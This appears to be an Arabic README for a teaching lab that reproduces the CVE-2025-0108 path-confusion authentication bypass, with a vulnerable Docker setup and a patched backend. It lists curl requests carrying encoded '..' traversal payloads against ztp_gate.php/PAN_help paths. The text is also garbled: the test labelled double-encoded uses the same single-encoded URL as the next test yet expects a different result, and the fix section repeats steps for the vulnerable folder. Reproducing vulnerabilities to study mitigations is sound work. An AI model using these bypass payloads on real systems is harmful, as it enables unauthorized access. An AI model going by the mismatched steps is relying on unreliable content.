
يعيد إنتاج ثغرة الارتباك في المسار CVE-2025-0108 في مجموعات Nginx/Apache. يتضمن PoC ضعيفًا وتطبيقًا مصححًا يوضح التخفيف على جانب الخادم الخلفي ضد تجاوز المصادقة المشفر مرتين.
يحتوي هذا المستودع على بيئة مختبرية صغيرة لإعادة إنتاج وتخفيف مشكلة CVE-2025-0108 (التباس المسار / تهريب الرؤوس بين Nginx وApache).
الهدف من المهمة هو إظهار كيف يمكن للطلبات ذات الترميز المزدوج تجاوز المصادقة في طبقة متعددة (Nginx -> Flask backend -> Apache/PHP) وعرض إجراء تخفيف على جانب الخادم الخلفي.
هذه البيئة لأغراض تعليمية فقط.
CVE-2025-0108/ — تنفيذ ضعيف (PoC)CVE-2025-0108_fix/ — تنفيذ مصحح (الخادم الخلفي يتحقق من المسار مفكوك الترميز)CVE-2025-0108محاكاة الإعداد الضعيف حيث يمكن لمسار مشفر مزدوجًا تجاوز المصادقة بسبب عدم تناسق فك الترميز بين الطبقات.
من المجلد CVE-2025-0108:
cd CVE-2025-0108
docker compose up --build
شغّل أوامر curl هذه من جهازك المضيف:
الاختبار 1 — مشفر مزدوجًا (المتوقع: HTTP 200)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
يستخدم هذا الطلب ترميزًا مزدوجًا (%252e%252e == %2e%2e == ..) ويظهر التجاوز في الإعداد الضعيف. من المفترض أن يعيد 200 OK.
الاختبار 2 — مشفر فرديًا (المتوقع: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
الاختبار 3 — مسار خام مع .. (المتوقع: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
إيقاف البيئات:
docker compose down
يقوم الخادم الخلفي بإجراء فحص إضافي على المسار مفكوك الترميز قبل السماح بالوصول. يمنع هذا تجاوز المصادقة عند إرسال طلبات مشفرة مزدوجًا.
من المجلد CVE-2025-0108:
cd CVE-2025-0108
docker compose up --build
شغّل أوامر curl هذه من جهازك المضيف:
من المجلد CVE-2025-0108_fix:
cd CVE-2025-0108_fix
docker compose up --build
الاختبار 1 — مشفر مزدوجًا (المتوقع: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
يكتشف الخادم الخلفي المصحح .. مفكوك الترميز ويعيد 401 غير مصرح.
الاختبار 2 — مشفر فرديًا (المتوقع: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
الاختبار 3 — مسار خام مع .. (المتوقع: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
إيقاف البيئات:
docker compose down